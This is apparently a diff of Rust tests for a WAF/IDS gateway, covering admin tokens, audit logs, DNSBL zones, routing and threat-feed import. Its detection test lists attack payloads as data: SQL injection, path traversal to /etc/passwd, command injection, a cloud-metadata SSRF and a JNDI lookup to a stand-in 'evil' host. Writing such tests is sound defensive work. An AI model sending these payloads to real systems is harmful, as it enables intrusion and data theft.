AppState::seeded(None) + .with_admin_tokens(parse_admin_tokens("write:ops:admin,read:auditor:readonly")); + + let unauthenticated = reject_management_write(&state, &HeaderMap::new()).unwrap(); + assert_eq!(unauthenticated.status(), StatusCode::UNAUTHORIZED); + + let mut readonly = HeaderMap::new(); + readonly.insert("x-admin-token", "read".parse().unwrap()); + let unauthorized = reject_management_write(&state, &readonly).unwrap(); + assert_eq!(unauthorized.status(), StatusCode::FORBIDDEN); + let runtime = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .unwrap(); + let body = runtime.block_on(body_text(unauthorized)); + assert!( + body.contains("not authorized for management writes"), + "{body}" + ); + + let mut writer = HeaderMap::new(); + writer.insert("x-admin-token", "write".parse().unwrap()); + assert!(reject_management_write(&state, &writer).is_none()); + } + + #[tokio::test] + async fn readonly_token_can_read_audit_logs_but_cannot_write() { + let tokens = parse_admin_tokens("write:ops:admin,read:auditor:readonly"); + let app = build_app(AppState::seeded(None).with_admin_tokens(tokens)); + + let denied = app_request( + &app, + json_request( + Method::POST, + "/api/routes", + Some("read"), + &serde_json::json!({ + "id": "ro-block", + "path_prefix": "/ro", + "upstream": "mock://x", + "mode": "monitor", + "enabled": true + }), + ), + ) + .await; + assert_eq!(denied.status(), StatusCode::FORBIDDEN); + + let created = app_request( + &app, + json_request( + Method::POST, + "/api/routes", + Some("write"), + &serde_json::json!({ + "id": "ro-block", + "path_prefix": "/ro", + "upstream": "mock://x", + "mode": "monitor", + "enabled": true + }), + ), + ) + .await; + assert_eq!(created.status(), StatusCode::CREATED); + + let unauth = app_request(&app, empty_request(Method::GET, "/api/audit-logs")).await; + assert_eq!(unauth.status(), StatusCode::UNAUTHORIZED); + + let logs: Vec = json_body( + app_request( + &app, + authed_empty_request(Method::GET, "/api/audit-logs", "read"), + ) + .await, + ) + .await; + assert!(logs.iter().any(|e| e.action == "upsert_route")); + assert!(!serde_json::to_string(&logs).unwrap().contains("write")); + assert!(!serde_json::to_string(&logs).unwrap().contains("read")); + } + + #[test] + fn security_event_log_line_is_single_line_json() { + let event = SecurityEvent { + id: 7, + timestamp_unix: 1_700_000_000, + client_ip: Some("203.0.113.5".parse().unwrap()), + route_id: Some("app".to_string()), + action: "blocked".to_string(), + reason: "builtin sqli rule sqli-union-select".to_string(), + score: 100, + path: "/app".to_string(), + }; + let line = security_event_log_line(&event); + assert!(!line.contains('\n'), "log line must be single-line"); + // Round-trips as JSON with the expected fields. + let parsed: SecurityEvent = serde_json::from_str(&line).unwrap(); + assert_eq!(parsed, event); + assert!(line.contains("\"action\":\"blocked\"")); + assert!(line.contains("\"score\":100")); + } + + async fn json_body(response: Response) -> T { + serde_json::from_str(&body_text(response).await).unwrap() + } + + #[tokio::test] + async fn evaluate_endpoint_scores_payloads_offline() { + let app = build_app(AppState::seeded(None)); + let sqli = json_request( + Method::POST, + "/api/evaluate", + None, + &serde_json::json!({"path": "/products", "query": "id=1 UNION SELECT password"}), + ); + let response = app_request(&app, sqli).await; + assert_eq!(response.status(), StatusCode::OK); + let body: serde_json::Value = json_body(response).await; + assert!(body["score"].as_u64().unwrap() >= u64::from(BLOCK_SCORE)); + assert_eq!(body["would_block"], true); + assert!(body["reason"].as_str().unwrap().contains("sqli")); + let body_req = json_request( + Method::POST, + "/api/evaluate", + None, + &serde_json::json!({"path": "/upload", "body": "x=1 union select 1"}), + ); + let body: serde_json::Value = json_body(app_request(&app, body_req).await).await; + assert_eq!(body["would_block"], true); + let benign = json_request( + Method::POST, + "/api/evaluate", + None, + &serde_json::json!({"path": "/account", "query": "tab=settings"}), + ); + let body: serde_json::Value = json_body(app_request(&app, benign).await).await; + assert_eq!(body["score"], 0); + assert_eq!(body["would_block"], false); + } + + #[tokio::test] + async fn version_and_readiness_endpoints() { + let app = build_app(AppState::seeded(None)); + let response = app_request(&app, empty_request(Method::GET, "/api/version")).await; + assert_eq!(response.status(), StatusCode::OK); + let body: serde_json::Value = json_body(response).await; + assert_eq!(body["name"], env!("CARGO_PKG_NAME")); + assert!(!body["version"].as_str().unwrap().is_empty()); + let response = app_request(&app, empty_request(Method::GET, "/readyz")).await; + assert_eq!(response.status(), StatusCode::OK); + let body: serde_json::Value = json_body(response).await; + assert_eq!(body["ready"], true); + let disable = json_request( + Method::POST, + "/api/routes", + None, + &serde_json::json!({"id": "demo", "path_prefix": "/demo", "upstream": "mock://x", "mode": "monitor", "enabled": false}), + ); + assert!(app_request(&app, disable).await.status().is_success()); + let response = app_request(&app, empty_request(Method::GET, "/readyz")).await; + assert_eq!(response.status(), StatusCode::SERVICE_UNAVAILABLE); + let body: serde_json::Value = json_body(response).await; + assert_eq!(body["ready"], false); + } + + #[tokio::test] + async fn events_endpoint_filters_by_action_and_limit() { + let app = build_app(AppState::seeded(None)); + let route = json_request( + Method::POST, + "/api/routes", + None, + &serde_json::json!({"id": "app", "path_prefix": "/app", "upstream": "mock://x", "mode": "block", "enabled": true}), + ); + assert!(app_request(&app, route).await.status().is_success()); + app_request( + &app, + gateway_get_from_ip("/gateway/app?q=1%20UNION%20SELECT%201", "203.0.113.9"), + ) + .await; + let monitor = app_request( + &app, + gateway_get_from_ip("/gateway/demo?q=hi", "203.0.113.9"), + ) + .await; + assert_eq!( + monitor.status(), + StatusCode::OK, + "monitor mode must continue traffic when Coraza is unavailable while retaining degraded evidence" + ); + let all: Vec = + json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await; + assert_eq!(all.len(), 2); + let blocked: Vec = json_body( + app_request( + &app, + empty_request(Method::GET, "/api/events?action=blocked"), + ) + .await, + ) + .await; + assert_eq!(blocked.len(), 1); + assert_eq!(blocked[0]["action"], "blocked"); + let recent: Vec = + json_body(app_request(&app, empty_request(Method::GET, "/api/events?limit=1")).await) + .await; + assert_eq!(recent.len(), 1); + assert_eq!( + recent[0]["action"], "engine_unavailable", + "an unconfigured proven WAF is degraded security evidence even when monitor mode continues the request" + ); + } + + #[tokio::test] + async fn per_route_block_threshold_overrides_global() { + let app = build_app(AppState::seeded(None)); + let indicator = json_request( + Method::POST, + "/api/threats", + None, + &serde_json::json!({"value": "probe-xyz", "indicator_type": "test", "severity": "low", "source": "t", "ttl_seconds": 60}), + ); + assert!(app_request(&app, indicator).await.status().is_success()); + let low = json_request( + Method::POST, + "/api/routes", + None, + &serde_json::json!({"id": "low", "path_prefix": "/low", "upstream": "mock://x", "mode": "block", "enabled": true, "block_threshold": 5}), + ); + assert!(app_request(&app, low).await.status().is_success()); + let hi = json_request( + Method::POST, + "/api/routes", + None, + &serde_json::json!({"id": "hi", "path_prefix": "/hi", "upstream": "mock://x", "mode": "block", "enabled": true}), + ); + assert!(app_request(&app, hi).await.status().is_success()); + let blocked = + app_request(&app, empty_request(Method::GET, "/gateway/low?q=probe-xyz")).await; + assert_eq!(blocked.status(), StatusCode::FORBIDDEN); + let allowed = + app_request(&app, empty_request(Method::GET, "/gateway/hi?q=probe-xyz")).await; + assert_ne!(allowed.status(), StatusCode::FORBIDDEN); + let bad = json_request( + Method::POST, + "/api/routes", + None, + &serde_json::json!({"id": "z", "path_prefix": "/z", "upstream": "mock://x", "mode": "block", "enabled": true, "block_threshold": 0}), + ); + assert_eq!( + app_request(&app, bad).await.status(), + StatusCode::BAD_REQUEST + ); + } + + #[tokio::test] + async fn oversized_request_body_is_rejected() { + let app = build_app(AppState::seeded(None).with_max_body_size(16)); + let big = Request::builder() + .method(Method::POST) + .uri("/gateway/demo") + .body(Body::from("x".repeat(64))) + .unwrap(); + assert_eq!( + app_request(&app, big).await.status(), + StatusCode::PAYLOAD_TOO_LARGE + ); + let small = Request::builder() + .method(Method::POST) + .uri("/gateway/demo") + .body(Body::from("x")) + .unwrap(); + assert_ne!( + app_request(&app, small).await.status(), + StatusCode::PAYLOAD_TOO_LARGE + ); + } + + #[tokio::test] + async fn admin_console_serves_designed_ui() { + let app = build_app(AppState::seeded(None)); + let html = body_text(app_request(&app, empty_request(Method::GET, "/")).await).await; + + // Foundation design tokens are source-true (must match Figma variables). + assert!(html.contains("--brand:#14213d"), "brand token missing"); + assert!(html.contains("--canvas:#f7f8fa"), "canvas token missing"); + // Designed components render, not the old raw-JSON
 dumps.
+        assert!(
+            html.contains("id=\"routesBody\""),
+            "routes table container missing"
+        );
+        assert!(
+            html.contains("id=\"threatsBody\""),
+            "threats table container missing"
+        );
+        // Create forms are wired to the real API endpoints.
+        assert!(
+            html.contains("data-url=\"/api/routes\""),
+            "add-route form missing"
+        );
+        assert!(
+            html.contains("data-url=\"/api/threats\""),
+            "add-threat form missing"
+        );
+        // Accessibility affordances present.
+        assert!(
+            html.contains("id=\"hcToggle\""),
+            "high-contrast toggle missing"
+        );
+        assert!(html.contains("Skip to content"), "skip link missing");
+        assert!(
+            html.contains(":focus-visible"),
+            "focus-visible styling missing"
+        );
+    }
+
+    #[test]
+    fn reverses_ipv4_for_dnsbl_zone_names() {
+        assert_eq!(reverse_ipv4_for_dnsbl([192, 0, 2, 10]), "10.2.0.192");
+    }
+
+    #[test]
+    fn exports_rfc5782_style_zone_records() {
+        let zone = export_dnsbl_zone(
+            "dnsbl.example",
+            &[
+                DnsblEntry {
+                    address: "192.0.2.10".parse().unwrap(),
+                    code: "127.0.0.2".to_string(),
+                    reason: "scanner".to_string(),
+                    source: "unit".to_string(),
+                    ttl_seconds: 300,
+                    prefix_len: None,
+                },
+                DnsblEntry {
+                    address: "2001:db8::10".parse().unwrap(),
+                    code: "127.0.0.2".to_string(),
+                    reason: "ipv6 skip".to_string(),
+                    source: "unit".to_string(),
+                    ttl_seconds: 300,
+                    prefix_len: None,
+                },
+            ],
+        );
+
+        assert!(zone.contains("$ORIGIN dnsbl.example."));
+        assert!(zone.contains("10.2.0.192 IN A 127.0.0.2"));
+        assert!(zone.contains("10.2.0.192 IN TXT \"scanner source=unit\""));
+        assert!(!zone.contains("ipv6 skip"));
+    }
+
+    #[test]
+    fn scores_threat_indicator_matches() {
+        // Uses a site-specific IoC that does NOT overlap a built-in signature,
+        // so this isolates the operator-configured indicator path.
+        let score = score_request(
+            "/callback",
+            Some("id=EVILCORP-C2-BEACON"),
+            "",
+            None,
+            &[ThreatIndicator {
+                value: "evilcorp-c2-beacon".to_string(),
+                indicator_type: "c2".to_string(),
+                severity: Severity::High,
+                source: "unit".to_string(),
+                ttl_seconds: 60,
+            }],
+            &[],
+        );
+
+        assert_eq!(score.score, 50);
+        assert!(score.reason.contains("c2 indicator"));
+    }
+
+    #[test]
+    fn builtin_waf_detects_common_attack_classes_without_configuration() {
+        // No operator-configured indicators and no DNSBL: every detection below
+        // must come from the built-in OWASP-shape signature layer alone.
+        let cases = [
+            ("/products", "id=1 UNION SELECT password FROM users", "sqli"),
+            (
+                "/search",
+                "q=",
+                "xss",
+            ),
+            ("/download", "file=../../../../etc/passwd", "path-traversal"),
+            (
+                "/ping",
+                "host=127.0.0.1; cat /etc/passwd",
+                "command-injection",
+            ),
+            (
+                "/fetch",
+                "url=http://169.254.169.254/latest/meta-data",
+                "ssrf",
+            ),
+            ("/lookup", "x=${jndi:ldap://evil/a}", "deserialization"),
+        ];
+        for (path, query, class) in cases {
+            let scored = score_request(path, Some(query), "", None, &[], &[]);
+            assert!(
+                scored.score >= BLOCK_SCORE,
+                "{class} payload should reach block score, got {} ({})",
+                scored.score,
+                scored.reason
+            );
+            assert!(
+                scored.reason.contains(class),
+                "reason should name the {class} class, got: {}",
+                scored.reason
+            );
+        }
+
+        // A benign request must not be flagged by the built-in layer.
+        let benign = score_request("/account/profile", Some("tab=settings"), "", None, &[], &[]);
+        assert_eq!(benign.score, 0, "benign request scored: {}", benign.reason);
+        assert_eq!(benign.reason, "no matching indicator");
+    }
+
+    #[test]
+    fn scores_dnsbl_client_matches() {
+        let score = score_request(
+            "/",
+            None,
+            "",
+            Some("203.0.113.10".parse().unwrap()),
+            &[],
+            &[DnsblEntry {
+                address: "203.0.113.10".parse().unwrap(),
+                code: "127.0.0.2".to_string(),
+                reason: "known scanner".to_string(),
+                source: "unit".to_string(),
+                ttl_seconds: 300,
+                prefix_len: None,
+            }],
+        );
+
+        assert_eq!(score.score, 100);
+        assert!(score.reason.contains("DNSBL match"));
+    }
+
+    #[test]
+    fn ip_in_network_masks_by_prefix() {
+        let net: IpAddr = "203.0.113.0".parse().unwrap();
+        assert!(ip_in_network(net, 24, "203.0.113.200".parse().unwrap()));
+        assert!(ip_in_network(net, 24, "203.0.113.0".parse().unwrap()));
+        assert!(!ip_in_network(net, 24, "203.0.114.1".parse().unwrap()));
+        // /0 matches everything; a full /32 is an exact match.
+        assert!(ip_in_network(net, 0, "8.8.8.8".parse().unwrap()));
+        assert!(!ip_in_network(net, 32, "203.0.113.1".parse().unwrap()));
+        // Mixed address families never match.
+        assert!(!ip_in_network(net, 24, "2001:db8::1".parse().unwrap()));
+        // IPv6 prefix masking.
+        let net6: IpAddr = "2001:db8::".parse().unwrap();
+        assert!(ip_in_network(
+            net6,
+            32,
+            "2001:db8:dead:beef::1".parse().unwrap()
+        ));
+        assert!(!ip_in_network(net6, 32, "2001:db9::1".parse().unwrap()));
+        // IPv6 /0 matches everything.
+        assert!(ip_in_network(net6, 0, "fe80::1".parse().unwrap()));
+    }
+
+    #[test]
+    fn scores_dnsbl_cidr_subnet_matches() {
+        // A /24 DNSBL entry blocks any client IP inside the subnet.
+        let entry = DnsblEntry {
+            address: "198.51.100.0".parse().unwrap(),
+            code: "127.0.0.2".to_string(),
+            reason: "botnet subnet".to_string(),
+            source: "unit".to_string(),
+            ttl_seconds: 300,
+            prefix_len: Some(24),
+        };
+        let inside = score_request(
+            "/",
+            None,
+            "",
+            Some("198.51.100.77".parse().unwrap()),
+            &[],
+            std::slice::from_ref(&entry),
+        );
+        assert_eq!(inside.score, 100);
+        assert!(inside.reason.contains("DNSBL match"));
+
+        let outside = score_request(
+            "/",
+            None,
+            "",
+            Some("198.51.101.77".parse().unwrap()),
+            &[],
+            std::slice::from_ref(&entry),
+        );
+        assert_eq!(outside.score, 0);
+    }
+
+    #[test]
+    fn validate_dnsbl_checks_prefix_len() {
+        let base = DnsblEntry {
+            address: "10.0.0.0".parse().unwrap(),
+            code: "127.0.0.2".to_string(),
+            reason: "range".to_string(),
+            source: "unit".to_string(),
+            ttl_seconds: 60,
+            prefix_len: Some(24),
+        };
+        assert!(validate_dnsbl(&base).is_ok());
+        let too_wide = DnsblEntry {
+            prefix_len: Some(40),
+            ..base.clone()
+        };
+        assert_eq!(
+            validate_dnsbl(&too_wide),
+            Err("DNSBL prefix_len exceeds the address family width")
+        );
+        // IPv6 permits prefixes up to /128.
+        let v6 = DnsblEntry {
+            address: "2001:db8::".parse().unwrap(),
+            prefix_len: Some(64),
+            ..base.clone()
+        };
+        assert!(validate_dnsbl(&v6).is_ok());
+    }
+
+    #[test]
+    fn builds_upstream_target_from_route_prefix() {
+        assert_eq!(
+            upstream_target(&route(), "/api/v1/items", Some("limit=1")).unwrap(),
+            "https://origin.example/v1/items?limit=1"
+        );
+        assert_eq!(
+            upstream_target(&route(), "/api", None).unwrap(),
+            "https://origin.example/"
+        );
+        assert_eq!(
+            upstream_target(&route(), "relative", None).unwrap(),
+            "https://origin.example/relative"
+        );
+        assert_eq!(
+            upstream_target(
+                &RouteConfig {
+                    upstream: "mock://origin".to_string(),
+                    ..route()
+                },
+                "/api",
+                None,
+            )
+            .unwrap_err(),
+            "upstream must use http:// or https:// for proxy mode"
+        );
+    }
+
+    #[test]
+    fn selects_longest_enabled_route_prefix() {
+        let routes = vec![
+            route(),
+            RouteConfig {
+                id: "admin".to_string(),
+                path_prefix: "/api/admin".to_string(),
+                upstream: "mock://admin".to_string(),
+                mode: EnforcementMode::Monitor,
+                enabled: true,
+                block_threshold: None,
+            },
+        ];
+
+        assert_eq!(
+            select_route(&routes, "/api/admin/users").unwrap().id,
+            "admin"
+        );
+    }
+
+    #[tokio::test]
+    async fn admin_api_gateway_and_dnsbl_surfaces_work_together() {
+        let path = temp_state_path("api");
+        let state = AppState::load(AppConfig {
+            admin_token: Some("secret".to_string()),
+            state_path: Some(path.clone()),
+            dnsbl_origin: "dnsbl.example.".to_string(),
+            event_limit: 10,
+        })
+        .await
+        .unwrap();
+        let app = build_app(state);
+
+        let response = app_request(&app, empty_request(Method::GET, "/admin")).await;
+        assert_eq!(response.status(), StatusCode::OK);
+        assert!(body_text(response).await.contains("WAF/IDS/AI SOC Gateway"));
+
+        let health: HealthStatus =
+            json_body(app_request(&app, empty_request(Method::GET, "/healthz")).await).await;
+        assert_eq!(health.persistence, "file");
+        assert_eq!(health.dnsbl_origin, "dnsbl.example");
+
+        let block_route = RouteConfig {
+            id: "secure".to_string(),
+            path_prefix: "/secure".to_string(),
+            upstream: "mock://secure".to_string(),
+            mode: EnforcementMode::Block,
+            enabled: true,
+            block_threshold: None,
+        };
+        let response = app_request(
+            &app,
+            json_request(Method::POST, "/api/routes", None, &block_route),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::UNAUTHORIZED);
+
+        let response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/routes",
+                Some("secret"),
+                &RouteConfig {
+                    path_prefix: "secure".to_string(),
+                    ..block_route.clone()
+                },
+            ),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+        let saved_route: RouteConfig = json_body(
+            app_request(
+                &app,
+                json_request(Method::POST, "/api/routes", Some("secret"), &block_route),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(saved_route.id, "secure");
+
+        let updated_route: RouteConfig = json_body(
+            app_request(
+                &app,
+                json_request(
+                    Method::POST,
+                    "/api/routes",
+                    Some("secret"),
+                    &RouteConfig {
+                        upstream: "mock://secure-v2".to_string(),
+                        ..block_route.clone()
+                    },
+                ),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(updated_route.upstream, "mock://secure-v2");
+
+        let threat = ThreatIndicator {
+            value: "drop table".to_string(),
+            indicator_type: "sqli".to_string(),
+            severity: Severity::Critical,
+            source: "unit".to_string(),
+            ttl_seconds: 60,
+        };
+        let response = app_request(
+            &app,
+            json_request(Method::POST, "/api/threats", None, &threat),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::UNAUTHORIZED);
+
+        let response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threats",
+                Some("secret"),
+                &ThreatIndicator {
+                    value: " ".to_string(),
+                    ..threat.clone()
+                },
+            ),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+        let saved_threat: ThreatIndicator = json_body(
+            app_request(
+                &app,
+                json_request(Method::POST, "/api/threats", Some("secret"), &threat),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(saved_threat.value, "drop table");
+
+        let dnsbl = DnsblEntry {
+            address: "198.51.100.7".parse().unwrap(),
+            code: "127.0.0.9".to_string(),
+            reason: "botnet".to_string(),
+            source: "unit".to_string(),
+            ttl_seconds: 300,
+            prefix_len: None,
+        };
+        let response =
+            app_request(&app, json_request(Method::POST, "/api/dnsbl", None, &dnsbl)).await;
+        assert_eq!(response.status(), StatusCode::UNAUTHORIZED);
+
+        let response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/dnsbl",
+                Some("secret"),
+                &DnsblEntry {
+                    code: "not-ip".to_string(),
+                    ..dnsbl.clone()
+                },
+            ),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::BAD_REQUEST);
+
+        let saved_dnsbl: DnsblEntry = json_body(
+            app_request(
+                &app,
+                json_request(Method::POST, "/api/dnsbl", Some("secret"), &dnsbl),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(saved_dnsbl.code, "127.0.0.9");
+
+        let gateway_request = Request::builder()
+            .method(Method::POST)
+            .uri("/gateway/secure/login?q=DROP%20TABLE")
+            .header("x-forwarded-for", "198.51.100.7, 10.0.0.1")
+            .body(Body::from("payload"))
+            .unwrap();
+        let response = app_request(&app, gateway_request).await;
+        assert_eq!(response.status(), StatusCode::FORBIDDEN);
+        assert!(body_text(response).await.contains("\"action\":\"blocked\""));
+
+        let routes: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/routes")).await).await;
+        assert!(routes.iter().any(|route| route.id == "secure"));
+
+        let threats: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(threats.iter().any(|item| item.value == "drop table"));
+
+        let dnsbl_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
+        assert!(
+            dnsbl_entries
+                .iter()
+                .any(|entry| entry.address == "198.51.100.7".parse::().unwrap())
+        );
+
+        let events: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
+        assert_eq!(events.last().unwrap().action, "blocked");
+        assert_eq!(
+            events.last().unwrap().client_ip,
+            Some("198.51.100.7".parse().unwrap())
+        );
+        let events_export =
+            body_text(app_request(&app, empty_request(Method::GET, "/api/events.ndjson")).await)
+                .await;
+        assert!(events_export.contains(r#""action":"blocked""#));
+        assert!(events_export.ends_with('\n'));
+
+        let kpis: SocKpiSnapshot =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/kpis")).await).await;
+        assert_eq!(kpis.blocked_event_count, 1);
+        assert_eq!(kpis.threat_feed_count, 0);
+        assert_eq!(kpis.fresh_threat_feed_count, 0);
+        assert_eq!(kpis.stale_threat_feed_count, 0);
+
+        let zone =
+            body_text(app_request(&app, empty_request(Method::GET, "/dnsbl/zone")).await).await;
+        assert!(zone.contains("$ORIGIN dnsbl.example."));
+        assert!(zone.contains("7.100.51.198 IN A 127.0.0.9"));
+
+        let _ = fs::remove_file(path).await;
+    }
+
+    #[tokio::test]
+    async fn audit_logs_record_successful_admin_writes_without_tokens() {
+        let path = temp_state_path("audit");
+        let state = AppState::load(AppConfig {
+            admin_token: Some("secret".to_string()),
+            state_path: Some(path.clone()),
+            dnsbl_origin: "dnsbl.example".to_string(),
+            event_limit: 10,
+        })
+        .await
+        .unwrap();
+        let app = build_app(state);
+        let route = RouteConfig {
+            id: "audit-route".to_string(),
+            path_prefix: "/audit".to_string(),
+            upstream: "mock://audit".to_string(),
+            mode: EnforcementMode::Monitor,
+            enabled: true,
+            block_threshold: None,
+        };
+
+        let unauthorized = app_request(
+            &app,
+            json_request(Method::POST, "/api/routes", None, &route),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let response = app
+            .clone()
+            .oneshot(
+                Request::builder()
+                    .method(Method::POST)
+                    .uri("/api/routes")
+                    .header("content-type", "application/json")
+                    .header("x-admin-token", "secret")
+                    .header("x-admin-actor", "operator@example.com")
+                    .body(Body::from(serde_json::to_vec(&route).unwrap()))
+                    .unwrap(),
+            )
+            .await
+            .unwrap();
+        assert_eq!(response.status(), StatusCode::CREATED);
+
+        let logs: Vec = json_body(
+            app_request(
+                &app,
+                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(logs.len(), 1);
+        assert_eq!(logs[0].actor, "operator@example.com");
+        assert_eq!(logs[0].action, "upsert_route");
+        assert_eq!(logs[0].resource, "route");
+        assert_eq!(logs[0].resource_id, "audit-route");
+        assert_eq!(logs[0].outcome, "success");
+        assert!(!serde_json::to_string(&logs).unwrap().contains("secret"));
+
+        let persisted: AppData =
+            serde_json::from_str(&fs::read_to_string(&path).await.unwrap()).unwrap();
+        assert_eq!(persisted.audit_logs.len(), 1);
+        let persisted_json = serde_json::to_string(&persisted.audit_logs).unwrap();
+        assert!(!persisted_json.contains("secret"));
+        let _ = fs::remove_file(path).await;
+    }
+
+    #[tokio::test]
+    async fn commercial_license_feed_readiness_and_bundle_surfaces_work() {
+        let path = temp_state_path("commercial");
+        let state = AppState::load(AppConfig {
+            admin_token: Some("secret".to_string()),
+            state_path: Some(path.clone()),
+            dnsbl_origin: "dnsbl.example".to_string(),
+            event_limit: 10,
+        })
+        .await
+        .unwrap();
+        let app = build_app(state);
+
+        let initial_readiness: CommercialReadiness = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/readiness"),
+            )
+            .await,
+        )
+        .await;
+        assert!(!initial_readiness.ready_for_enterprise_sale);
+        assert_eq!(initial_readiness.readiness_level, "implementation_required");
+        assert!(
+            initial_readiness
+                .blockers
+                .iter()
+                .any(|item| item == "license")
+        );
+
+        let initial_license: CommercialProfile = json_body(
+            app_request(&app, empty_request(Method::GET, "/api/commercial/license")).await,
+        )
+        .await;
+        assert_eq!(initial_license.license_status, LicenseStatus::Unlicensed);
+
+        let profile = enterprise_profile();
+        let unauthorized = app_request(
+            &app,
+            json_request(Method::POST, "/api/commercial/license", None, &profile),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let bad_profile = CommercialProfile {
+            features: Vec::new(),
+            ..profile.clone()
+        };
+        let invalid = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/commercial/license",
+                Some("secret"),
+                &bad_profile,
+            ),
+        )
+        .await;
+        assert_eq!(invalid.status(), StatusCode::BAD_REQUEST);
+
+        let saved_profile: CommercialProfile = json_body(
+            app_request(
+                &app,
+                json_request(
+                    Method::POST,
+                    "/api/commercial/license",
+                    Some("secret"),
+                    &profile,
+                ),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(saved_profile.annual_contract_value_krw, Some(2_000_000_000));
+
+        let feed = threat_feed_import();
+        let unauthorized_feed = app_request(
+            &app,
+            json_request(Method::POST, "/api/threat-feeds/import", None, &feed),
+        )
+        .await;
+        assert_eq!(unauthorized_feed.status(), StatusCode::UNAUTHORIZED);
+
+        let empty_feed = ThreatFeedImport {
+            threats: Vec::new(),
+            dnsbl: Vec::new(),
+            ..feed.clone()
+        };
+        let invalid_feed = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                Some("secret"),
+                &empty_feed,
+            ),
+        )
+        .await;
+        assert_eq!(invalid_feed.status(), StatusCode::BAD_REQUEST);
+
+        let import_result: ThreatFeedImportResult = json_body(
+            app_request(
+                &app,
+                json_request(
+                    Method::POST,
+                    "/api/threat-feeds/import",
+                    Some("secret"),
+                    &feed,
+                ),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(import_result.feed_id, "misp-seoul");
+        assert_eq!(import_result.upserted_threats, 1);
+        assert_eq!(import_result.upserted_dnsbl, 1);
+
+        let gateway_response = app_request(
+            &app,
+            empty_request(Method::GET, "/gateway/demo?q=union%20select"),
+        )
+        .await;
+        assert_eq!(gateway_response.status(), StatusCode::OK);
+
+        let feeds: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threat-feeds")).await)
+                .await;
+        assert_eq!(feeds.len(), 1);
+        assert_eq!(feeds[0].feed_id, "misp-seoul");
+        let freshness: Vec = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/threat-feeds/freshness"),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(freshness.len(), 1);
+        assert_eq!(freshness[0].feed_id, "misp-seoul");
+        assert!(!freshness[0].stale);
+
+        let final_readiness: CommercialReadiness = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/readiness"),
+            )
+            .await,
+        )
+        .await;
+        assert!(final_readiness.ready_for_enterprise_sale);
+        assert_eq!(final_readiness.readiness_level, "sale_ready");
+        assert!(final_readiness.blockers.is_empty());
+        assert!(
+            final_readiness
+                .deployment_assets
+                .iter()
+                .any(|path| path == "Dockerfile")
+        );
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(manifest.ready_for_enterprise_sale);
+        assert_eq!(manifest.target_sale_value_krw, TARGET_SALE_VALUE_KRW);
+        assert_eq!(manifest.runtime_counts.threat_feed_count, 1);
+        assert_eq!(manifest.runtime_counts.fresh_threat_feed_count, 1);
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/events.ndjson"
+                    && endpoint.content_type == "application/x-ndjson"
+                    && endpoint.required_for_sale)
+        );
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/audit-logs" && endpoint.required_for_sale)
+        );
+        assert!(
+            manifest
+                .document_paths
+                .iter()
+                .any(|path| path == "docs/figma/enterprise-product-architecture.md")
+        );
+
+        let support: SupportBundle =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/support-bundle")).await)
+                .await;
+        assert!(support.generated_at_unix > 0);
+        assert!(support.readiness.ready_for_enterprise_sale);
+        assert!(support.evidence_manifest.ready_for_enterprise_sale);
+        assert!(
+            support
+                .evidence_manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/commercial/evidence-manifest")
+        );
+        assert_eq!(
+            support.commercial.license_id,
+            Some("LIC-2B-KRW-0001".to_string())
+        );
+        assert_eq!(support.threat_feed_count, 1);
+        assert_eq!(support.kpis.fresh_threat_feed_count, 1);
+        assert_eq!(support.kpis.stale_threat_feed_count, 0);
+        assert!(support.audit_log_count >= 2);
+        assert_eq!(support.threat_feed_freshness.len(), 1);
+        assert!(!support.threat_feed_freshness[0].stale);
+        assert!(support.event_count >= 1);
+
+        let persisted: AppData =
+            serde_json::from_str(&fs::read_to_string(&path).await.unwrap()).unwrap();
+        assert_eq!(persisted.commercial.license_status, LicenseStatus::Active);
+        assert_eq!(persisted.threat_feeds.len(), 1);
+        let _ = fs::remove_file(path).await;
+    }
+
+    #[tokio::test]
+    async fn phishing_database_import_endpoint_supports_blocking_flow() {
+        let feed_mock = Router::new()
+            .route(
